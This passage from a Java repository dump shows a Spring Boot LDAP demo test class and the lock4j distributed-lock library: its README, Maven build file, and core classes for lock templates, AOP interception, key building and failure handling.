    "content": "package com.jun.plugin.ldap;\n\nimport org.junit.Test;\nimport org.junit.runner.RunWith;\nimport org.springframework.boot.test.context.SpringBootTest;\nimport org.springframework.test.context.junit4.SpringRunner;\n\nimport com.jun.plugin.ldap.api.Result;\nimport com.jun.plugin.ldap.entity.Person;\nimport com.jun.plugin.ldap.request.LoginRequest;\nimport com.jun.plugin.ldap.service.PersonService;\n\nimport javax.annotation.Resource;\n\n/**\n * LdapDemoApplicationTest\n *\n * @author Wujun\n * @version v1.0\n * @since 2019/8/26 1:06\n */\n@RunWith(SpringRunner.class)\n@SpringBootTest\npublic class LdapDemoApplicationTests {\n\n    @Resource\n    private PersonService personService;\n\n    @Test\n    public void contextLoads() {\n    }\n\n    /**\n     * 测试查询单个\n     */\n    @Test\n    public void loginTest() {\n        LoginRequest loginRequest = LoginRequest.builder().username(\"wangwu\").password(\"123456\").build();\n        Result login = personService.login(loginRequest);\n        System.out.println(login);\n    }\n\n    /**\n     * 测试查询列表\n     */\n    @Test\n    public void listAllPersonTest() {\n        Result result = personService.listAllPerson();\n        System.out.println(result);\n    }\n\n    /**\n     * 测试保存\n     */\n    @Test\n    public void saveTest() {\n        Person person = new Person();\n\n        person.setUid(\"zhaosi\");\n\n        person.setSurname(\"赵\");\n        person.setGivenName(\"四\");\n        person.setUserPassword(\"123456\");\n\n        // required field\n        person.setPersonName(\"赵四\");\n        person.setUidNumber(\"666\");\n        person.setGidNumber(\"666\");\n        person.setHomeDirectory(\"/home/zhaosi\");\n        person.setLoginShell(\"/bin/bash\");\n\n        personService.save(person);\n    }\n\n    /**\n     * 测试删除\n     */\n    @Test\n    public void deleteTest() {\n        Person person = new Person();\n        person.setUid(\"zhaosi\");\n\n        personService.delete(person);\n    }\n\n}\n"
  },
  {
    "path": "jun_springboot_plugin/springboot_lock4j/.gitignore",
    "content": "target/\n!.mvn/wrapper/maven-wrapper.jar\n\n### STS ###\n.apt_generated\n.classpath\n.factorypath\n.project\n.settings\n.springBeans\n.sts4-cache\n\n### IntelliJ IDEA ###\n.idea\n*.iws\n*.iml\n*.ipr\n\n### NetBeans ###\n/nbproject/private/\n/build/\n/nbbuild/\n/dist/\n/nbdist/\n/.nb-gradle/\n"
  },
  {
    "path": "jun_springboot_plugin/springboot_lock4j/.travis.yml",
    "content": "language: java\n\njdk:\n  - openjdk7\n  - openjdk8\n\nafter_success:\n  - echo success\n\ncache:\n  directories:\n    - $HOME/.m2"
  },
  {
    "path": "jun_springboot_plugin/springboot_lock4j/README.md",
    "content": "<p align=\"center\">\n\n<img src=\"https://s1.ax1x.com/2018/07/29/Pacq2Q.png\" border=\"0\" />\n\n</p>\n\n<p align=\"center\">\n\t<strong>一种简单的，支持不同方案的高性能分布式锁</strong>\n</p>\n\n<p align=\"center\">\n    <a href=\"http://mvnrepository.com/artifact/com.baomidou/lock4j\" target=\"_blank\">\n        <img src=\"https://maven-badges.herokuapp.com/maven-central/com.baomidou/lock4j/badge.svg\" >\n    </a>\n    <a href=\"http://www.apache.org/licenses/LICENSE-2.0.html\" target=\"_blank\">\n        <img src=\"http://img.shields.io/:license-apache-brightgreen.svg\" >\n    </a>\n    <a href=\"https://search.maven.org/search?q=insp\" target=\"_blank\">\n        <img src=\"https://img.shields.io/maven-central/v/com.baomidou/lock4j\" />\n    </a>\n    <a>\n        <img src=\"https://img.shields.io/badge/JDK-1.8+-green.svg\" >\n    </a>\n    <a>\n        <img src=\"https://img.shields.io/badge/springBoot-2.0+-green.svg\" >\n    </a>\n</p>\n<p align=\"center\">\n\tQQ群：336752559\n</p>\n\n## 简介\n\nlock4j是一个分布式锁组件，其提供了多种不同的支持以满足不同性能和环境的需求。\n\n立志打造一个简单但富有内涵的分布式锁组件。\n\n## 特性\n\n1. 简单易用，功能强大，扩展性强。\n2. 支持redission,redisTemplate,zookeeper。可混用，支持扩展。\n\n## 如何使用\n\n1. 引入相关依赖(支持同时存在,不同方法不同锁实现)。\n\n```xml\n\n<dependencies>\n    <!--若使用redisTemplate作为分布式锁底层，则需要引入-->\n    <dependency>\n        <groupId>com.baomidou</groupId>\n        <artifactId>lock4j-redis-template-spring-boot-starter</artifactId>\n        <version>${latest.version}</version>\n    </dependency>\n    <!--若使用redisson作为分布式锁底层，则需要引入-->\n    <dependency>\n        <groupId>com.baomidou</groupId>\n        <artifactId>lock4j-redisson-spring-boot-starter</artifactId>\n        <version>${latest.version}</version>\n    </dependency>\n    <!--若使用zookeeper作为分布式锁底层，则需要引入-->\n    <dependency>\n        <groupId>com.baomidou</groupId>\n        <artifactId>lock4j-zookeeper-spring-boot-starter</artifactId>\n        <version>${latest.version}</version>\n    </dependency>\n</dependencies>\n\n```\n\n2. 根据底层需要配置redis或zookeeper。\n\n```yaml\nspring:\n  redis:\n    host: 127.0.0.1\n    ...\n  coordinate:\n    zookeeper:\n      zkServers: 127.0.0.1:2181,127.0.0.1:2182,127.0.0.1:2183\n```\n\n3. 在需要分布式的地方使用Lock4j注解。\n\n```java\n\n@Service\npublic class DemoService {\n\n    //默认获取锁超时3秒，30秒锁过期\n    @Lock4j\n    public void simple() {\n        //do something\n    }\n\n    //完全配置，支持spel\n    @Lock4j(keys = {\"#user.id\", \"#user.name\"}, expire = 60000, acquireTimeout = 1000)\n    public model.User customMethod(model.User user) {\n        return user;\n    }\n\n}\n```\n\n## 高级使用\n\n1. 配置全局默认的获取锁超时时间和锁过期时间。\n\n```yaml\nlock4j:\n  acquire-timeout: 3000 #默认值3s，可不设置\n  expire: 30000 #默认值30s，可不设置\n  primary-executor: com.baomidou.lock.executor.RedisTemplateLockExecutor #默认redisson>redisTemplate>zookeeper，可不设置\n  lock-key-prefix: lock4j #锁key前缀, 默认值lock4j，可不设置\n```\n\nacquire-timeout 可以理解为排队时长，超过这个时才就退出排队，抛出获取锁超时异常。\n\n为什么必须要有这个参数？现实你会一直排队等下去吗？所有人都一直排队有没有问题 ？\n\nexpire 锁过期时间 。 主要是防止死锁。 建议估计好你锁方法运行时常，正常没有复杂业务的增删改查最多几秒，留有一定冗余，10秒足够。 我们默认30秒是为了兼容绝大部分场景。\n\n2. 自定义执行器。\n\n```java\n\n@Service\npublic class DemoService {\n\n    //可在方法级指定使用某种执行器，若自己实现的需要提前注入到Spring。\n    @Lock4j(executor = RedissonLockExecutor.class)\n    public Boolean test() {\n        return \"true\";\n    }\n}\n```\n\n3. 自定义锁key生成器。\n\n默认的锁key生成器为 `com.baomidou.lock.DefaultLockKeyBuilder` 。\n\n```java\n\n@Component\npublic class MyLockKeyBuilder extends DefaultLockKeyBuilder {\n\n    @Override\n\tpublic String buildKey(MethodInvocation invocation, String[] definitionKeys) {\n\t\tString key = super.buildKey(invocation, definitionKeys);\n        // do something\n\t\treturn key;\n\t}\n}\n```\n\n4. 自定义锁获取失败策略。\n\n默认的锁获取失败策略为 `com.baomidou.lock.DefaultLockFailureStrategy` 。\n\n```java\n\n@Component\npublic class MyLockFailureStrategy implements LockFailureStrategy {\n\n    @Override\n    public void onLockFailure(String key, long acquireTimeout, int acquireCount) {\n        // write my code\n    }\n}\n```\n\n5. 手动上锁解锁。\n\n```java\n\n@Service\npublic class ProgrammaticService {\n    @Autowired\n    private LockTemplate lockTemplate;\n\n    public void programmaticLock(String userId) {\n        // 各种查询操作 不上锁\n        // ...\n        // 获取锁\n        final LockInfo lockInfo = lockTemplate.lock(userId, 30000L, 5000L, RedissonLockExecutor.class);\n        if (null == lockInfo) {\n            throw new RuntimeException(\"业务处理中,请稍后再试\");\n        }\n        // 获取锁成功，处理业务\n        try {\n            System.out.println(\"执行简单方法1 , 当前线程:\" + Thread.currentThread().getName() + \" , counter：\" + (counter++));\n        } finally {\n            //释放锁\n            lockTemplate.releaseLock(lockInfo);\n        }\n        //结束\n    }\n}\n```\n\n\n"
  },
  {
    "path": "jun_springboot_plugin/springboot_lock4j/lock4j-core/pom.xml",
    "content": "<?xml version=\"1.0\" encoding=\"UTF-8\"?>\n<!--\n  ~  Copyright (c) 2018-2022, baomidou (63976799@qq.com).\n  ~\n  ~  Licensed under the Apache License, Version 2.0 (the \"License\");\n  ~  you may not use this file except in compliance with the License.\n  ~  You may obtain a copy of the License at\n  ~\n  ~      http://www.apache.org/licenses/LICENSE-2.0\n  ~\n  ~  Unless required by applicable law or agreed to in writing, software\n  ~  distributed under the License is distributed on an \"AS IS\" BASIS,\n  ~  WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n  ~  See the License for the specific language governing permissions and\n  ~  limitations under the License.\n  -->\n\n<project xmlns:xsi=\"http://www.w3.org/2001/XMLSchema-instance\"\n         xmlns=\"http://maven.apache.org/POM/4.0.0\"\n         xsi:schemaLocation=\"http://maven.apache.org/POM/4.0.0 http://maven.apache.org/xsd/maven-4.0.0.xsd\">\n    <parent>\n        <artifactId>lock4j</artifactId>\n        <groupId>com.baomidou</groupId>\n        <version>2.2.2</version>\n    </parent>\n    <modelVersion>4.0.0</modelVersion>\n\n    <artifactId>lock4j-core</artifactId>\n    <packaging>jar</packaging>\n\n    <dependencies>\n        <dependency>\n            <groupId>org.springframework.boot</groupId>\n            <artifactId>spring-boot-starter-aop</artifactId>\n        </dependency>\n        <dependency>\n            <groupId>org.springframework.boot</groupId>\n            <artifactId>spring-boot-configuration-processor</artifactId>\n            <optional>true</optional>\n        </dependency>\n    </dependencies>\n\n</project>"
  },
  {
    "path": "jun_springboot_plugin/springboot_lock4j/lock4j-core/src/main/java/com/baomidou/lock/DefaultLockFailureStrategy.java",
    "content": "/*\n *  Copyright (c) 2018-2022, baomidou (63976799@qq.com).\n *\n *  Licensed under the Apache License, Version 2.0 (the \"License\");\n *  you may not use this file except in compliance with the License.\n *  You may obtain a copy of the License at\n *\n *      http://www.apache.org/licenses/LICENSE-2.0\n *\n *  Unless required by applicable law or agreed to in writing, software\n *  distributed under the License is distributed on an \"AS IS\" BASIS,\n *  WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n *  See the License for the specific language governing permissions and\n *  limitations under the License.\n */\n\npackage com.baomidou.lock;\n\nimport com.baomidou.lock.exception.LockFailureException;\nimport lombok.extern.slf4j.Slf4j;\n\nimport java.lang.reflect.Method;\n\n/**\n * @author zengzhihong\n */\n@Slf4j\npublic class DefaultLockFailureStrategy implements LockFailureStrategy {\n\n    protected static String DEFAULT_MESSAGE = \"request failed,please retry it.\";\n\n    @Override\n    public void onLockFailure(String key, Method method, Object[] arguments) {\n        throw new LockFailureException(DEFAULT_MESSAGE);\n    }\n}\n"
  },
  {
    "path": "jun_springboot_plugin/springboot_lock4j/lock4j-core/src/main/java/com/baomidou/lock/DefaultLockKeyBuilder.java",
    "content": "/*\n *  Copyright (c) 2018-2022, baomidou (63976799@qq.com).\n *\n *  Licensed under the Apache License, Version 2.0 (the \"License\");\n *  you may not use this file except in compliance with the License.\n *  You may obtain a copy of the License at\n *\n *      http://www.apache.org/licenses/LICENSE-2.0\n *\n *  Unless required by applicable law or agreed to in writing, software\n *  distributed under the License is distributed on an \"AS IS\" BASIS,\n *  WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n *  See the License for the specific language governing permissions and\n *  limitations under the License.\n */\n\npackage com.baomidou.lock;\n\nimport org.aopalliance.intercept.MethodInvocation;\nimport org.springframework.context.expression.MethodBasedEvaluationContext;\nimport org.springframework.core.DefaultParameterNameDiscoverer;\nimport org.springframework.core.ParameterNameDiscoverer;\nimport org.springframework.expression.EvaluationContext;\nimport org.springframework.expression.ExpressionParser;\nimport org.springframework.expression.spel.standard.SpelExpressionParser;\nimport org.springframework.util.StringUtils;\n\nimport java.lang.reflect.Method;\nimport java.util.ArrayList;\nimport java.util.List;\n\n/**\n * 分布式锁Key生成器\n *\n * @author zengzhihong TaoYu\n */\npublic class DefaultLockKeyBuilder implements LockKeyBuilder {\n\n    private static final ParameterNameDiscoverer NAME_DISCOVERER = new DefaultParameterNameDiscoverer();\n\n    private static final ExpressionParser PARSER = new SpelExpressionParser();\n\n    @Override\n    public String buildKey(MethodInvocation invocation, String[] definitionKeys) {\n        Method method = invocation.getMethod();\n        if (definitionKeys.length > 1 || !\"\".equals(definitionKeys[0])) {\n            return getSpelDefinitionKey(definitionKeys, method, invocation.getArguments());\n        }\n        return \"\";\n    }\n\n    protected String getSpelDefinitionKey(String[] definitionKeys, Method method, Object[] parameterValues) {\n        EvaluationContext context = new MethodBasedEvaluationContext(null, method, parameterValues, NAME_DISCOVERER);\n        List<String> definitionKeyList = new ArrayList<>(definitionKeys.length);\n        for (String definitionKey : definitionKeys) {\n            if (definitionKey != null && !definitionKey.isEmpty()) {\n                String key = PARSER.parseExpression(definitionKey).getValue(context, String.class);\n                definitionKeyList.add(key);\n            }\n        }\n        return StringUtils.collectionToDelimitedString(definitionKeyList, \".\", \"\", \"\");\n    }\n\n}\n"
  },
  {
    "path": "jun_springboot_plugin/springboot_lock4j/lock4j-core/src/main/java/com/baomidou/lock/LockFailureStrategy.java",
    "content": "/*\n *  Copyright (c) 2018-2022, baomidou (63976799@qq.com).\n *\n *  Licensed under the Apache License, Version 2.0 (the \"License\");\n *  you may not use this file except in compliance with the License.\n *  You may obtain a copy of the License at\n *\n *      http://www.apache.org/licenses/LICENSE-2.0\n *\n *  Unless required by applicable law or agreed to in writing, software\n *  distributed under the License is distributed on an \"AS IS\" BASIS,\n *  WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n *  See the License for the specific language governing permissions and\n *  limitations under the License.\n */\n\npackage com.baomidou.lock;\n\nimport java.lang.reflect.Method;\n\n/**\n * @author zengzhihong\n */\npublic interface LockFailureStrategy {\n\n    /**\n     * 锁失败事件\n     */\n    void onLockFailure(String key, Method method, Object[] arguments);\n\n}\n"
  },
  {
    "path": "jun_springboot_plugin/springboot_lock4j/lock4j-core/src/main/java/com/baomidou/lock/LockInfo.java",
    "content": "/*\n *  Copyright (c) 2018-2022, baomidou (63976799@qq.com).\n *\n *  Licensed under the Apache License, Version 2.0 (the \"License\");\n *  you may not use this file except in compliance with the License.\n *  You may obtain a copy of the License at\n *\n *      http://www.apache.org/licenses/LICENSE-2.0\n *\n *  Unless required by applicable law or agreed to in writing, software\n *  distributed under the License is distributed on an \"AS IS\" BASIS,\n *  WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n *  See the License for the specific language governing permissions and\n *  limitations under the License.\n */\n\npackage com.baomidou.lock;\n\nimport com.baomidou.lock.executor.LockExecutor;\nimport lombok.AllArgsConstructor;\nimport lombok.Data;\n\n/**\n * @author zengzhihong\n */\n@Data\n@AllArgsConstructor\npublic class LockInfo {\n\n    /**\n     * 锁名称\n     */\n    private String lockKey;\n\n    /**\n     * 锁值\n     */\n    private String lockValue;\n\n    /**\n     * 过期时间\n     */\n    private Long expire;\n\n    /**\n     * 获取锁超时时间\n     */\n    private Long acquireTimeout;\n\n    /**\n     * 获取锁次数\n     */\n    private int acquireCount;\n\n    /**\n     * 锁实例\n     */\n    private Object lockInstance;\n\n    /**\n     * 锁执行器\n     */\n    private LockExecutor lockExecutor;\n}\n"
  },
  {
    "path": "jun_springboot_plugin/springboot_lock4j/lock4j-core/src/main/java/com/baomidou/lock/LockKeyBuilder.java",
    "content": "/*\n *  Copyright (c) 2018-2022, baomidou (63976799@qq.com).\n *\n *  Licensed under the Apache License, Version 2.0 (the \"License\");\n *  you may not use this file except in compliance with the License.\n *  You may obtain a copy of the License at\n *\n *      http://www.apache.org/licenses/LICENSE-2.0\n *\n *  Unless required by applicable law or agreed to in writing, software\n *  distributed under the License is distributed on an \"AS IS\" BASIS,\n *  WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n *  See the License for the specific language governing permissions and\n *  limitations under the License.\n */\n\npackage com.baomidou.lock;\n\nimport org.aopalliance.intercept.MethodInvocation;\n\n/**\n * @author zengzhihong\n */\npublic interface LockKeyBuilder {\n\n    /**\n     * 构建key\n     *\n     * @param invocation     invocation\n     * @param definitionKeys 定义\n     * @return key\n     */\n    String buildKey(MethodInvocation invocation, String[] definitionKeys);\n}\n"
  },
  {
    "path": "jun_springboot_plugin/springboot_lock4j/lock4j-core/src/main/java/com/baomidou/lock/LockTemplate.java",
    "content": "/*\n *  Copyright (c) 2018-2022, baomidou (63976799@qq.com).\n *\n *  Licensed under the Apache License, Version 2.0 (the \"License\");\n *  you may not use this file except in compliance with the License.\n *  You may obtain a copy of the License at\n *\n *      http://www.apache.org/licenses/LICENSE-2.0\n *\n *  Unless required by applicable law or agreed to in writing, software\n *  distributed under the License is distributed on an \"AS IS\" BASIS,\n *  WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n *  See the License for the specific language governing permissions and\n *  limitations under the License.\n */\n\npackage com.baomidou.lock;\n\nimport com.baomidou.lock.exception.LockException;\nimport com.baomidou.lock.executor.LockExecutor;\nimport com.baomidou.lock.spring.boot.autoconfigure.Lock4jProperties;\nimport com.baomidou.lock.util.LockUtil;\nimport lombok.Setter;\nimport lombok.extern.slf4j.Slf4j;\nimport org.springframework.beans.factory.InitializingBean;\nimport org.springframework.util.Assert;\n\nimport java.util.LinkedHashMap;\nimport java.util.List;\nimport java.util.Map;\nimport java.util.concurrent.TimeUnit;\n\n\n/**\n * <p>\n * 锁模板方法\n * </p>\n *\n * @author zengzhihong TaoYu\n */\n@SuppressWarnings(\"rawtypes\")\n@Slf4j\npublic class LockTemplate implements InitializingBean {\n\n    private final Map<Class<? extends LockExecutor>, LockExecutor> executorMap = new LinkedHashMap<>();\n    @Setter\n    private Lock4jProperties properties;\n    @Setter\n    private List<LockExecutor> executors;\n\n    private LockExecutor primaryExecutor;\n\n    public LockTemplate() {\n    }\n\n    public LockInfo lock(String key) {\n        return lock(key, 0, -1);\n    }\n\n    public LockInfo lock(String key, long expire, long acquireTimeout) {\n        return lock(key, expire, acquireTimeout, null);\n    }\n\n    /**\n     * 加锁方法\n     *\n     * @param key            锁key 同一个key只能被一个客户端持有\n     * @param expire         过期时间(ms) 防止死锁\n     * @param acquireTimeout 尝试获取锁超时时间(ms)\n     * @param executor       执行器\n     * @return 加锁成功返回锁信息 失败返回null\n     */\n    public LockInfo lock(String key, long expire, long acquireTimeout, Class<? extends LockExecutor> executor) {\n        acquireTimeout = acquireTimeout < 0 ? properties.getAcquireTimeout() : acquireTimeout;\n        long retryInterval = properties.getRetryInterval();\n        LockExecutor lockExecutor = obtainExecutor(executor);\n        log.debug(String.format(\"use lock class: %s\", lockExecutor.getClass()));\n        expire = !lockExecutor.renewal() && expire <= 0 ? properties.getExpire() : expire;\n        int acquireCount = 0;\n        String value = LockUtil.simpleUUID();\n        long start = System.currentTimeMillis();\n        try {\n            do {\n                acquireCount++;\n                Object lockInstance = lockExecutor.acquire(key, value, expire, acquireTimeout);\n                if (null != lockInstance) {\n                    return new LockInfo(key, value, expire, acquireTimeout, acquireCount, lockInstance,\n                            lockExecutor);\n                }\n                TimeUnit.MILLISECONDS.sleep(retryInterval);\n            } while (System.currentTimeMillis() - start < acquireTimeout);\n        } catch (InterruptedException e) {\n            log.error(\"lock error\", e);\n            throw new LockException();\n        }\n        return null;\n    }\n\n    @SuppressWarnings(\"unchecked\")\n    public boolean releaseLock(LockInfo lockInfo) {\n        if (null == lockInfo) {\n            return false;\n        }\n        return lockInfo.getLockExecutor().releaseLock(lockInfo.getLockKey(), lockInfo.getLockValue(),\n                lockInfo.getLockInstance());\n    }\n\n    protected LockExecutor obtainExecutor(Class<? extends LockExecutor> clazz) {\n        if (null == clazz || clazz == LockExecutor.class) {\n            return primaryExecutor;\n        }\n        final LockExecutor lockExecutor = executorMap.get(clazz);\n        Assert.notNull(lockExecutor, String.format(\"can not get bean type of %s\", clazz));\n        return lockExecutor;\n    }\n\n    @Override\n    public void afterPropertiesSet() throws Exception {\n\n        Assert.isTrue(properties.getAcquireTimeout() >= 0, \"tryTimeout must least 0\");\n        Assert.isTrue(properties.getExpire() >= -1, \"expireTime must lease -1\");\n        Assert.isTrue(properties.getRetryInterval() >= 0, \"retryInterval must more than 0\");\n        Assert.hasText(properties.getLockKeyPrefix(), \"lock key prefix must be not blank\");\n        Assert.notEmpty(executors, \"executors must have at least one\");\n\n        for (LockExecutor executor : executors) {\n            executorMap.put(executor.getClass(), executor);\n        }\n\n        final Class<? extends LockExecutor> primaryExecutor = properties.getPrimaryExecutor();\n        if (null == primaryExecutor) {\n            this.primaryExecutor = executors.get(0);\n        } else {\n            this.primaryExecutor = executorMap.get(primaryExecutor);\n            Assert.notNull(this.primaryExecutor, \"primaryExecutor must be not null\");\n        }\n    }\n}\n"
  },
  {
    "path": "jun_springboot_plugin/springboot_lock4j/lock4j-core/src/main/java/com/baomidou/lock/annotation/Lock4j.java",
    "content": "/*\n *  Copyright (c) 2018-2022, baomidou (63976799@qq.com).\n *\n *  Licensed under the Apache License, Version 2.0 (the \"License\");\n *  you may not use this file except in compliance with the License.\n *  You may obtain a copy of the License at\n *\n *      http://www.apache.org/licenses/LICENSE-2.0\n *\n *  Unless required by applicable law or agreed to in writing, software\n *  distributed under the License is distributed on an \"AS IS\" BASIS,\n *  WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n *  See the License for the specific language governing permissions and\n *  limitations under the License.\n */\n\npackage com.baomidou.lock.annotation;\n\nimport com.baomidou.lock.executor.LockExecutor;\nimport com.baomidou.lock.spring.boot.autoconfigure.Lock4jProperties;\n\nimport java.lang.annotation.ElementType;\nimport java.lang.annotation.Retention;\nimport java.lang.annotation.RetentionPolicy;\nimport java.lang.annotation.Target;\n\n/**\n * 分布式锁注解\n *\n * @author zengzhihong TaoYu\n */\n@Target(value = {ElementType.METHOD})\n@Retention(value = RetentionPolicy.RUNTIME)\npublic @interface Lock4j {\n\n    /**\n     * 用于多个方法锁同一把锁 可以理解为锁资源名称 为空则会使用 包名+类名+方法名\n     *\n     * @return 名称\n     */\n    String name() default \"\";\n\n    /**\n     * @return lock 执行器\n     */\n    Class<? extends LockExecutor> executor() default LockExecutor.class;\n\n    /**\n     * support SPEL expresion 锁的key = name + keys\n     *\n     * @return KEY\n     */\n    String[] keys() default \"\";\n\n    /**\n     * @return 过期时间 单位：毫秒\n     * <pre>\n     *     过期时间一定是要长于业务的执行时间. 未设置则为默认时间30秒 默认值：{@link Lock4jProperties#expire}\n     * </pre>\n     */\n    long expire() default -1;\n\n    /**\n     * @return 获取锁超时时间 单位：毫秒\n     * <pre>\n     *     结合业务,建议该时间不宜设置过长,特别在并发高的情况下. 未设置则为默认时间3秒 默认值：{@link Lock4jProperties#acquireTimeout}\n     * </pre>\n     */\n    long acquireTimeout() default -1;\n\n    /**\n     * 业务方法执行完后（方法内抛异常也算执行完）自动释放锁，如果为false，锁将不会自动释放直至到达过期时间才释放 {@link com.baomidou.lock.annotation.Lock4j#expire()}\n     *\n     * @return 是否自动释放锁\n     */\n    boolean autoRelease() default true;\n\n}\n"
  },
  {
    "path": "jun_springboot_plugin/springboot_lock4j/lock4j-core/src/main/java/com/baomidou/lock/aop/LockAnnotationAdvisor.java",
    "content": "/*\n *  Copyright (c) 2018-2022, baomidou (63976799@qq.com).\n *\n *  Licensed under the Apache License, Version 2.0 (the \"License\");\n *  you may not use this file except in compliance with the License.\n *  You may obtain a copy of the License at\n *\n *      http://www.apache.org/licenses/LICENSE-2.0\n *\n *  Unless required by applicable law or agreed to in writing, software\n *  distributed under the License is distributed on an \"AS IS\" BASIS,\n *  WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n *  See the License for the specific language governing permissions and\n *  limitations under the License.\n */\n\npackage com.baomidou.lock.aop;\n\nimport com.baomidou.lock.annotation.Lock4j;\nimport lombok.NonNull;\nimport org.aopalliance.aop.Advice;\nimport org.springframework.aop.Pointcut;\nimport org.springframework.aop.support.AbstractPointcutAdvisor;\nimport org.springframework.aop.support.annotation.AnnotationMatchingPointcut;\nimport org.springframework.beans.BeansException;\nimport org.springframework.beans.factory.BeanFactory;\nimport org.springframework.beans.factory.BeanFactoryAware;\n\n/**\n * 分布式锁aop通知\n *\n * @author zengzhihong TaoYu\n */\npublic class LockAnnotationAdvisor extends AbstractPointcutAdvisor implements BeanFactoryAware {\n\n    private final Advice advice;\n\n    private final Pointcut pointcut = AnnotationMatchingPointcut.forMethodAnnotation(Lock4j.class);\n\n    public LockAnnotationAdvisor(@NonNull LockInterceptor lockInterceptor, int order) {\n        this.advice = lockInterceptor;\n        setOrder(order);\n    }\n\n    @Override\n    public Pointcut getPointcut() {\n        return this.pointcut;\n    }\n\n    @Override\n    public Advice getAdvice() {\n        return this.advice;\n    }\n\n    @Override\n    public void setBeanFactory(BeanFactory beanFactory) throws BeansException {\n        if (this.advice instanceof BeanFactoryAware) {\n            ((BeanFactoryAware) this.advice).setBeanFactory(beanFactory);\n        }\n    }\n\n}"
  },
  {
    "path": "jun_springboot_plugin/springboot_lock4j/lock4j-core/src/main/java/com/baomidou/lock/aop/LockInterceptor.java",
    "content": "/*\n *  Copyright (c) 2018-2022, baomidou (63976799@qq.com).\n *\n *  Licensed under the Apache License, Version 2.0 (the \"License\");\n *  you may not use this file except in compliance with the License.\n *  You may obtain a copy of the License at\n *\n *      http://www.apache.org/licenses/LICENSE-2.0\n *\n *  Unless required by applicable law or agreed to in writing, software\n *  distributed under the License is distributed on an \"AS IS\" BASIS,\n *  WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n *  See the License for the specific language governing permissions and\n *  limitations under the License.\n */\n\npackage com.baomidou.lock.aop;\n\nimport com.baomidou.lock.LockFailureStrategy;\nimport com.baomidou.lock.LockInfo;\nimport com.baomidou.lock.LockKeyBuilder;\nimport com.baomidou.lock.LockTemplate;\nimport com.baomidou.lock.annotation.Lock4j;\nimport com.baomidou.lock.spring.boot.autoconfigure.Lock4jProperties;\nimport lombok.RequiredArgsConstructor;\nimport lombok.extern.slf4j.Slf4j;\nimport org.aopalliance.intercept.MethodInterceptor;\nimport org.aopalliance.intercept.MethodInvocation;\nimport org.springframework.aop.framework.AopProxyUtils;\nimport org.springframework.util.StringUtils;\n\n\n/**\n * 分布式锁aop处理器\n *\n * @author zengzhihong TaoYu\n */\n@Slf4j\n@RequiredArgsConstructor\npublic class LockInterceptor implements MethodInterceptor {\n\n    private final LockTemplate lockTemplate;\n\n    private final LockKeyBuilder lockKeyBuilder;\n\n    private final LockFailureStrategy lockFailureStrategy;\n\n    private final Lock4jProperties lock4jProperties;\n\n    @Override\n    public Object invoke(MethodInvocation invocation) throws Throwable {\n        //fix 使用其他aop组件时,aop切了两次.\n        Class<?> cls = AopProxyUtils.ultimateTargetClass(invocation.getThis());\n        if (!cls.equals(invocation.getThis().getClass())) {\n            return invocation.proceed();\n        }\n        Lock4j lock4j = invocation.getMethod().getAnnotation(Lock4j.class);\n        LockInfo lockInfo = null;\n        try {\n            String prefix = lock4jProperties.getLockKeyPrefix() + \":\";\n            prefix += StringUtils.hasText(lock4j.name()) ? lock4j.name() :\n                    invocation.getMethod().getDeclaringClass().getName() + invocation.getMethod().getName();\n            String key = prefix + \"#\" + lockKeyBuilder.buildKey(invocation, lock4j.keys());\n            lockInfo = lockTemplate.lock(key, lock4j.expire(), lock4j.acquireTimeout(), lock4j.executor());\n            if (null != lockInfo) {\n                return invocation.proceed();\n            }\n            // lock failure\n            lockFailureStrategy.onLockFailure(key, invocation.getMethod(), invocation.getArguments());\n            return null;\n        } finally {\n            if (null != lockInfo && lock4j.autoRelease()) {\n                final boolean releaseLock = lockTemplate.releaseLock(lockInfo);\n                if (!releaseLock) {\n                    log.error(\"releaseLock fail,lockKey={},lockValue={}\", lockInfo.getLockKey(),\n                            lockInfo.getLockValue());\n                }\n            }\n        }\n    }\n\n}\n"
  },
  {
    "path": "jun_springboot_plugin/springboot_lock4j/lock4j-core/src/main/java/com/baomidou/lock/exception/LockException.java",
    "content": "/*\n *  Copyright (c) 2018-2022, baomidou (63976799@qq.com).\n *\n *  Licensed under the Apache License, Version 2.0 (the \"License\");\n *  you may not use this file except in compliance with the License.\n *  You may obtain a copy of the License at\n *\n *      http://www.apache.org/licenses/LICENSE-2.0\n *\n *  Unless required by applicable law or agreed to in writing, software\n *  distributed under the License is distributed on an \"AS IS\" BASIS,\n *  WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n *  See the License for the specific language governing permissions and\n *  limitations under the License.\n */\n\npackage com.baomidou.lock.exception;\n\n/**\n * @author zengzhihong\n */\npublic class LockException extends RuntimeException {\n\n    public LockException() {\n        super();\n    }\n\n    public LockException(String message) {\n\n        super(message);\n    }\n\n}\n"
  },
  {
    "path": "jun_springboot_plugin/springboot_lock4j/lock4j-core/src/main/java/com/baomidou/lock/exception/LockFailureException.java",
    "content": "/*\n *  Copyright (c) 2018-2022, baomidou (63976799@qq.com).\n *\n *  Licensed under the Apache License, Version 2.0 (the \"License\");\n *  you may not use this file except in compliance with the License.\n *  You may obtain a copy of the License at\n *\n *      http://www.apache.org/licenses/LICENSE-2.0\n *\n *  Unless required by applicable law or agreed to in writing, software\n *  distributed under the License is distributed on an \"AS IS\" BASIS,\n *  WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n *  See the License for the specific language governing permissions and\n *  limitations under the License.\n */\n\npackage com.baomidou.lock.exception;\n\n/**\n * @author zengzhihong\n */\npublic class LockFailureException extends LockException {\n\n\n    public LockFailureException() {\n\n    }\n\n    public LockFailureException(String message) {\n        super(message);\n    }\n}\n"
  },
  {
    "path": "jun_springboot_plugin/springboot_lock4j/lock4j-core/src/main/java/com/baomidou/lock/executor/AbstractLockExecutor.java",
